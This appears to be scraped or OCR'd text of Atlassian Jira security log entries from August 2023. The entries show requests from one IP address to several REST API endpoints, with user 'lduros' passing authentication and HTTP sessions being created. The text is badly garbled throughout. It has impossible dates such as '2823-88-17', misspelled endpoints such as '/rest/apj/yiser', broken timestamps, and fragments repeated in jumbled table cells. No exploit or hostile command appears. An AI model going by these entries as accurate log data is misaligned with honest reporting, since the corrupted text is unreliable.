74.82.16.132,172</pre> | |
| <pre>stlassian-jira-security.log:2023-08-17 15:29:44,244+0000 http-nio-80800 exec-5 url: on. stlassian-jira-security.log:2023-08-17 15:29:46,509+0000 http-nio-80800 exec-5 url: /rest/api/2/settings anonymous 929x104x1 - 74.82.16.132,172.17.0.1 /rest/api/2/settings The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:29:46,516+0000 http-nio-8080 exec-10 url: /rest/api/2/settings lduros 929x104x1 - 74.82.16.132,172.17.0.1 /rest/api/2/settings The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080 exec-8 url: /rest/api/2/status anonymous 939x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080 exec-8 url: /rest/api/2/status lduros 939x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:30:09,350+0000 http-nio-8080 exec-2 url: /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:30:45,489+0000 http-nio-8080 exec-2 url: /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:30:45,489+0000 http-nio-8080 exec-2 url: /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:30:45,489+0000 http-nio-8080 exec-2 url: /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8080 exec-2 url: /rest/api/2/status lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:31:13,170+0000</pre> | atlassian-jira-security.log:2023-08-17 15:29:41,243+0000 http-nio-8000-exec-5 url: /rest/api/2/users anonymous 929x103x1 - 74.82.16.132,172.17.0.1 /rest/api/2/users HttpSession created [xquag3] |
| on. stlassian-jira-security.log:223-88-17 15:29:46,509+0000 http-nio-8000-exec-10 url //rest/apj/2/settings anonymous 929x104x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/settings The user 'lduros' has PASSED authentication. atlassian-jira-security.log:223-88-17 15:39:92,900+0000 http-nio-8000-exec-8 url: /rest/apj/2/status anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/status HttpSession created [c488.m0] atlassian-jira-security.log:2023-88-17 15:39:92,900+0000 http-nio-8000-exec-8 url: /rest/apj/2/status anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/status HttpSession created [c488.m0] atlassian-jira-security.log:2023-88-17 15:39:92,900+0000 http-nio-8000-exec-8 url: /rest/apj/2/status anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-88-17 15:39:09,350+0000 http-nio-8000-exec-2 url: /rest/apj/2/status anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-88-17 15:39:09,350+0000 http-nio-8000-exec-2 url: /rest/apj/2/status anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-88-17 15:39:09,360+0000 http-nio-8000-exec-2 url: /rest/apj/2/status anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/apj/user The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-88-17 15:39:09,360+0000 http-nio-8000-exec-4 url: /rest/apj//user anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/apj/user The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-88-17 15:31:13,170+0000 http-nio-8000-exec-4 url: /rest/apj/2/user anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/user HttpSession created [tildom j atlassian-jira-security.log:2023-88-17 15:31:13,170+0000 http-nio-8000-exec-4 url: /rest/apj/2/serverInfo duros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/user HttpSe | atlassian-jira-security.log:2023-08-17 15:29:41,244+0000 http-nio-8080-exec-5 url: /rest/api/2/users lduros 929x103x1 - 74.82.16.132,172.17.0.1 /rest/api/2/users The user 'lduros' has PASSED authenticati |
| <pre>atlassian-jira-security.log:2023-08-17 15:29:46,509-0000 http-nio-8000 exec-10 url /rest/api/2/settings anonymous 92%104x1 - 74.82.16.132,172.17.0.1 /rest/api/2/settings The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:29:46,510+0000 http-nio-8000 exec-2 url /rest/api/2/status anonymous 93%106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8000 exec-2 url /rest/api/2/status anonymous 93%106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentica tion. atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8000 exec-2 url /rest/api/2/status lduros 93%106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentica tion. atlassian-jira-security.log:2023-08-17 15:30:09,350+0000 http-nio-8000 exec-2 url /rest/api/2/status lduros 93%106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentica tion. atlassian-jira-security.log:2023-08-17 15:30:45,489+0000 http-nio-8000 exec-2 url /rest/api/2/status lduros 93%106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentica tion. atlassian-jira-security.log:2023-08-17 15:30:45,489+0000 http-nio-8000 exec-2 url /rest/api/2/status lduros 93%106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status the user 'lduros' has PASSED authentica tion. atlassian-jira-security.log:2023-08-17 15:30:45,489+0000 http-nio-8000 exec-2 url /rest/api/2/status lduros 93%106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8000 exec-2 url /rest/api/2/status lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [1140m] atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8000 exec-2 url /rest/api/2/user HttpSession created [1140m] atlassian-jira-security.log:2023-08-17 15:32:24,268+0000 http-ni</pre> | on. |
| <pre>atlassian-jira-security.log:2023-08-17 15:29:46,516+0000 http-nio-8080 exec-10 url /rest/api/2/settings lduros 929x104x1 - 74.82.16.132,172.17.0.1 /rest/api/2/settings The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080 exec-8 url: /rest/api/2/status anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [0210/5] atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080 exec-8 url: /rest/api/2/status anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentica tion. atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080 exec-2 url: /rest/api/2/status anonymous 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentica tion. atlassian-jira-security.log:2023-08-17 15:30:05,403+0000 http-nio-8080 exec-2 url: /rest/api//status lduros 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentica tion. atlassian-jira-security.log:2023-08-17 15:30:05,403+0000 http-nio-8080 exec-4 url: /rest/api//status lduros 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api/user HttpSession created [hz6wk] atlassian-jira-security.log:2023-08-17 15:30:05,403+0000 http-nio-8080 exec-4 url: /rest/api/user lduros 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api/user HttpSession created [hz6wk] atlassian-jira-security.log:2023-08-17 15:30:05,403+0000 http-nio-8080-exec-4 url: /rest/api/user lduros 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api//user HttpSession created [hz6wk] atlassian-jira-security.log:2023-08-17 15:30:05,403+0000 http-nio-8080-exec-4 url: /rest/api//suser lduros 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [hz6wk] atlassian-jira-security.log:2023-08-17 15:30:13,170+0000 http-nio-8080-exec-4 url: /rest/api/2/user anonymous 930x108x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [lifar] atlassian-jira-security.log:2023-08-17 15:33:13,170+0000 htt</pre> | atlassian-jira-security.log:2023-08-17 15:29:46,509+0000 http-nio-8080-exec-10 url; /rest/api/2/settings anonymous 929x104x1 - 74.82.16.132,172.17.0.1 /rest/ap/2/settings HttpSession created [ich0cn] |
| <pre>ntiasian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080-exec-8 url: atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080-exec-8 url: /rest/api/2/status anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080-exec-2 url: /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentica tion. atlassian-jira-security.log:2023-08-17 15:30:09,300+0000 http-nio-8080-exec-2 url: /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentica tion. atlassian-jira-security.log:2023-08-17 15:30:09,300+0000 http-nio-8080-exec-2 url: /rest/api//status lduros 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentica tion. atlassian-jira-security.log:2023-08-17 15:30:45,409+0000 http-nio-8080-exec-2 url: /rest/api/user anonymous 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentica tion. atlassian-jira-security.log:2023-08-17 15:30:45,409+0000 http-nio-8080-exec-2 url: /rest/api//suser anonymous 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api/user ThttpSession created [tj1ar] atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8080-exec-2 url: /rest/api//suser anonymous 931x108x1 - 74.82.16.132,172.17.0.1 /rest/api/2/suser ThttpSession created [tj1ar] atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo anonymous 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo HttpSession created [tj1ar] atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo Iduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo HttpSession created [tj1adm] atlassian-jira-security.log:2023-08-17 15:33:13,575.40000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo Iduros 932x109x</pre> | atlassian-jira-security.log:2023-08-17 15:29:46,516+0000 http-nio-8080-exec-10 url; /rest/api/2/settings lduros 929x104x1 - 74.82.16.132,172.17.0.1 /rest/api/2/settings The user 'lduros' has PassED authe |
| <pre>atlassian-jira-security.log:2023-08-17 15:30:02,900+00000 http-nio-8080 exec-8 url: /rest/apj/2/status anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/status HttpSession created [or18*6] atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080 exec-8 url: /rest/apj/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/status HttpSession created [4x81 m0] atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080 exec-2 url: /rest/apj/2/status anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/status HttpSession created [4x81 m0] atlassian-jira-security.log:2023-08-17 15:30:09,350+0000 http-nio-8080 exec-2 url: /rest/apj/2/status anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/status HttpSession created [4x81 m0] atlassian-jira-security.log:2023-08-17 15:30:45,439+0000 http-nio-8080 exec-6 url: /rest/apj//yistr lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/apj/yistr Tht user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:30:45,439+0000 http-nio-8080 exec-6 url: /rest/apj/yiser lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/apj/yiser Tht user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:31:45,439+0000 http-nio-8080 exec-6 url: /rest/apj/yiser lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/apj/yiser Tht user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:31:45,439+0000 http-nio-8080 exec-9 url: /rest/apj/yiser lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/apj//user HttpSession created [1116] atlassian-jira-security.log:2023-08-17 15:31:45,439+0000 http-nio-8080 exec-9 url: /rest/apj/yiser lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/user HttpSession created [1116] atlassian-jira-security.log:2023-08-17 15:31:45,452+0600 http-nio-8080 exec-9 url: /rest/apj/2/user lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/user HttpSession created [1116] atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080 exec-3 url: /rest</pre> | ntication. |
| <pre>atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080-exec-8 url: /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:30:09,350+0000 http-nio-8080-exec-2 url: /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [4x81m0] atlassian-jira-security.log:2023-08-17 15:30:09,360+0000 http-nio-8080-exec-2 url: /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [4x81m0] atlassian-jira-security.log:2023-08-17 15:30:09,360+0000 http-nio-8080-exec-2 url: /rest/api/user anonymous 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api/user HttpSession created [hz6wv4] atlassian-jira-security.log:2023-08-17 15:30:45,493+0000 http-nio-8080-exec-4 url: /rest/api/user anonymous 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api/user HttpSession created [hz6wv4] atlassian-jira-security.log:2023-08-17 15:30:45,493+0000 http-nio-8080-exec-4 url: /rest/api//user anonymous 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api/user HttpSession created [hz6wv4] atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8080-exec-4 url: /rest/api//status anonymous 931x108x1 - 74.82.16.132,172.17.0.1 /rest/api/user HttpSession created [tj1aq1] atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8080-exec-4 url: /rest/api//status anonymous 931x108x1 - 74.82.16.132,172.17.0.1 /rest/api//user HttpSession created [tj1aq1] atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo anonymous 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo HttpSession created [t1161m1] atlassian-jira-security.log:2023-08-17 15:32:24,260+0000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo Iduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:33:2,552+0000 http-nio-8080-exec-3</pre> | atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080-exec-8 url: /rest/api/2/status anonymous 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [oz18/6] |
| tion. atlassian-jira-security.log:2823-88-17 15:38:89,359+0800 http-nio-8888-exec-2 url: /rest/api/2/status anonymous 930x186x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [4x81n] atlassian-jira-security.log:2823-88-17 15:38:49,489+0800 http-nio-8888-exec-2 url: /rest/api/2/status lduros 930x187x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2823-88-17 15:38:45,489+0800 http-nio-8888-exec-2 url: /rest/api/user Iduros 930x187x1 - 74.82.16.132,172.17.0.1 /rest/api/user THtpSession created [hz6wv4] atlassian-jira-security.log:2823-88-17 15:38:45,489+0800 http-nio-8888-exec-4 url: /rest/api/user Iduros 930x187x1 - 74.82.16.132,172.17.0.1 /rest/api/user THtpSession created [hz6wv4] atlassian-jira-security.log:2823-88-17 15:38:45,489+0800 http-nio-8888-exec-6 url: /rest/api/user Iduros 930x187x1 - 74.82.16.132,172.17.0.1 /rest/api/user IttpsEssion created [hz6wv4] atlassian-jira-security.log:2823-88-17 15:38:45,489+0800 http-nio-8888-exec-9 url: /rest/api/user Iduros 930x181881 - 74.82.16.132,172.17.0.1 /rest/api/2/ser HttpSession created [hz6wv4] atlassian-jira-security.log:2823-88-17 15:31:13,170+0800 http-nio-8888-exec-9 url: /rest/api/2/ser Iduros 931x188x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo HttpSession created [111c] atlassian-jira-security.log:2823-88-17 15:32:24,268+0800 http-nio-8888-exec-9 url: /rest/api/2/serverInfo anonymous 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2823-88-17 15:33:52,552+08000 http-nio-8888-exec-9 url: /rest/api/2/serverInfo lduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2823-88-17 15:33:52,552+08000 http-nio-8888-exec-8 url: /rest/api/2/serverInfo lduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2823-88 | atlassian-jira-security.log:2023-08-17 15:30:02,900+0000 http-nio-8080-exec-8 url: /rest/api/2/status lduros 930x105x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentica |
| atlassian-jira-security.log:223-08-17 15:39:09,350-0000 http-nio-8000 exec-2 uri: /rest/apj//status anonymous 930:106x1 - 74.82.16.132,172.17.0.1 /rest/apj//status HttpSession created [4x81m0] atlassian-jira-security.log:2023-08-17 15:39:09,360+0000 http-nio-8000 exec-2 uri: /rest/apj/ztatus duros 930:106x1 - 74.82.16.132,172.17.0.1 /rest/apj/ztatus HttpSession created [4x81m0] atlassian-jira-security.log:2023-08-17 15:39:09,360+0000 http-nio-8000 exec-2 uri: /rest/apj/ztatus duros 930:106x1 - 74.82.16.132,172.17.0.1 /rest/apj/zuser HttpSession created [4x81m0] atlassian-jira-security.log:2023-08-17 15:39:05,490+0000 http-nio-8000 exec-4 uri: /rest/apj/user anonymous 930:106x1 - 74.82.16.132,172.17.0.1 /rest/apj/user HttpSession created [hz0nv4] atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8000 exec-4 uri: /rest/apj/user anonymous 930:106x1 - 74.82.16.132,172.17.0.1 /rest/apj/user HttpSession created [tj1aq] atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8000 exec-9 uri: /rest/apj//suser anonymous 931:108x1 - 74.82.16.132,172.17.0.1 /rest/apj//user HttpSession created [tj1aq] atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8000 exec-9 uri: /rest/apj//suser anonymous 931:108x1 - 74.82.16.132,172.17.0.1 /rest/apj//user HttpSession created [tj1aq] atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8000 exec-9 uri: /rest/apj//suser HttpSession created [tj1aq] atlassian-jira-security.log:2023-08-17 15:32:24,260+0000 http-nio-8000 exec-9 uri: /rest/apj//serverInfo anonymous 932x109x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/serverInfo HttpSession created [1116] atlassian-jira-security.log:2023-08-17 15:32:24,270+0000 http-nio-8000 exec-3 uri: /rest/apj/2/serverInfo Iduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/serverInfo The user 'Iduros' has PASED authentication. atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8000-exec-8 uri: /rest/apj/2/serverInfo Iduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/user HttpSession | tion. |
| atlassian-jira-security.log:2023-08-17 15:30:49,360+0000 http-nio-8080-exec-2 url: /rest/apj/2/status lduros 930x106x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/status The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:30:45,409+0000 http-nio-8080-exec-6 url: /rest/apj/user anonymous 930x107x1 - 74.82.16.132,172.17.0.1 /rest/apj/user HttpSession created [hz/wv4] atlassian-jira-security.log:2023-08-17 15:30:45,409+0000 http-nio-8080-exec-6 url: /rest/apj/user anonymous 930x107x1 - 74.82.16.132,172.17.0.1 /rest/apj/user The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:31:45,409+0000 http-nio-8080-exec-9 url: /rest/apj/user anonymous 930x107x1 - 74.82.16.132,172.17.0.1 /rest/apj/user The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:31:13,170+0000 http-nio-8080-exec-9 url: /rest/apj/2/user lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/user The user 'lduros' has PASSED authentication. | atlassian-jira-security.log:2023-08-17 15:30:09,359+0000 http-nio-8080-exec-2 url: /rest/api/2/status anonymous 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status HttpSession created [4x81m0] |
| <pre>tion. atlassian-jira-security.log:2823-08-17 15:38:45,489+0000 http-nio-8080 exec-6 url: /rest/api/user anonymous 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api/user HttpSession created [hz6wv4] atlassian-jira-security.log:2823-08-17 15:38:45,493+0000 http-nio-8080 exec-6 url: /rest/api/user lduros 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api//user HttpSession created [hz6wv4] atlassian-jira-security.log:2823-08-17 15:38:45,493+0000 http-nio-8080 exec-6 url: /rest/api//user lduros 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api//user HttpSession created [hz6wv4] atlassian-jira-security.log:2823-08-17 15:38:45,493+0000 http-nio-8080 exec-9 url: /rest/api//user lduros 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api//2.user HttpSession created [tj1ar] . atlassian-jira-security.log:2823-08-17 15:38:45,403+0000 http-nio-8080 exec-9 url: /rest/api//suser lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [tj1ar] . atlassian-jira-security.log:2823-08-17 15:38:45,403+0000 http-nio-8080 exec-9 url: /rest/api//suser lduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo HttpSession created [111610m]] atlassian-jira-security.log:2823-08-17 15:33:52,452+0000 http-nio-8080 exec-9 url: /rest/api/2/serverInfo lduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2823-08-17 15:33:52,552+0000 http-nio-8080 exec-9 url: /rest/api//suser anonymous 933x11x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [111610m] atlassian-jira-security.log:2823-08-17 15:33:52,552+0000 http-nio-8080 exec-9 url: /rest/api//suser anonymous 933x11x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [1140r9] atlassian-jira-security.log:2823-08-17 15:33:52,552+0000 http-nio-8080 exec-8 url: /rest/api/2/user anonymous 933x11x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [1140r0] atlassian-jira-security.log:2823-08-17 15:33:52,552+0000 http-nio-8080 exec-8 url: /rest/api//suser anony</pre> | atlassian-jira-security.log:2023-08-17 15:30:09,360+0000 http-nio-8080-exec-2 url: /rest/api/2/status lduros 930x106x1 - 74.82.16.132,172.17.0.1 /rest/api/2/status The user 'lduros' has PASSED authentica |
| atlassian-jira-security.log:2023-08-17 15:38:45,489+0000 http-nio-8080 exec-6 url: /rest/apj/user anonymous 930x107x1 - 74.82.16.132,172.17.0.1 /rest/apj/user HttpSession created [http-nio-8080 exec-6 url: /rest/apj/user lduros 930x107x1 - 74.82.16.132,172.17.0.1 /rest/apj/user HttpSession created [http-nio-8080 exec-6 url: /rest/apj/user lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/apj/user HttpSession created [http-nio-8080 exec-6 url: /rest/apj/user lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/apj/user HttpSession created [http-nio-8080 exec-9 url: /rest/apj/user lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/apj/user HttpSession created [http-nio-8080 exec-9 url: /rest/apj/2/user lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/user HttpSession created [l1161om] atlassian-jira-security.log:2023-08-17 15:32:24,268+0000 http-nio-8080 exec-9 url: /rest/apj/2/user lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/serverInfo HttpSession created [l1161om] atlassian-jira-security.log:2023-08-17 15:32:24,268+0000 http-nio-8080 exec-9 url: /rest/apj/2/serverInfo anonymous 932x109x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/serverInfo HttpSession created [l1161om] atlassian-jira-security.log:2023-08-17 15:32:24,268+0000 http-nio-8080 exec-3 url: /rest/apj/2/serverInfo lduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/serverInfo The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080 exec-3 url: /rest/apj/2/serverInfo lduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/serverInfo The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080 exec-3 url: /rest/apj/2/serverInfo lduros 933x11x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/serverInfo The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080 exec-8 url: /rest/apj/2/user anonymous 933x11x1 - 74.82.16.132,172.17.0.1 /rest/apj/2/user HttpSession created [l11k60] atlassian-j | tion. |
| <pre>atlassian-jira-security.log:2223-08-17 15:33:52,552+08000 http-nio-8808-exec-6 url: /rest/api//user lduros 938x107x1 - 74.82.16.132,172.17.0.1 /rest/api//user The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2223-08-17 15:33:17.170+0000 http-nio-8808-exec-9 url: /rest/api//user lduros 931x108x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user Httpession created [tj1aq1] atlassian-jira-security.log:2023-08-17 15:33:13,176+0000 http-nio-8080-exec-9 url: /rest/api//2/serverInfo anonymous 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo HttpSession created [tj1aq1] atlassian-jira-security.log:2023-08-17 15:33:13,176+0000 http-nio-8080-exec-9 url: /rest/api/2/serverInfo anonymous 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo HttpSession created [tj1ad1] atlassian-jira-security.log:2023-08-17 15:32:24,268+0000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo anonymous 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo HttpSession created [11161om] atlassian-jira-security.log:2023-08-17 15:32:24,268+0000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo lduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-3 url: /rest/api/2/serverInfo lduros 932x109x1 - 74.82.16.132,172.17.0.1 /rest/api/2/serverInfo The user 'lduros' has PASSED authentication. atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-8 url: /rest/api/2/user anonymous 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [1116/08] atlassian-jira-security.log:2023-08-17 15:33:52,552+0000 http-nio-8080-exec-8 url: /rest/api/2/user lduros 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [11h6/dg] atlassian-jira-security.log:2023-08-17 15:33:52,558+0000 http-nio-8080-exec-8 url: /rest/api/2/user lduros 933x111x1 - 74.82.16.132,172.17.0.1 /rest/api/2/user HttpSession created [11h6/dg]</pre> | atlassian-jira-security.log:2023-08-17 15:30:45,489+0000 http-nio-8080-exec-6 url: /rest/api/user anonymous 930x107x1 - 74.82.16.132,172.17.0.1 /rest/api/user HttpSession created [hz6wv4] |
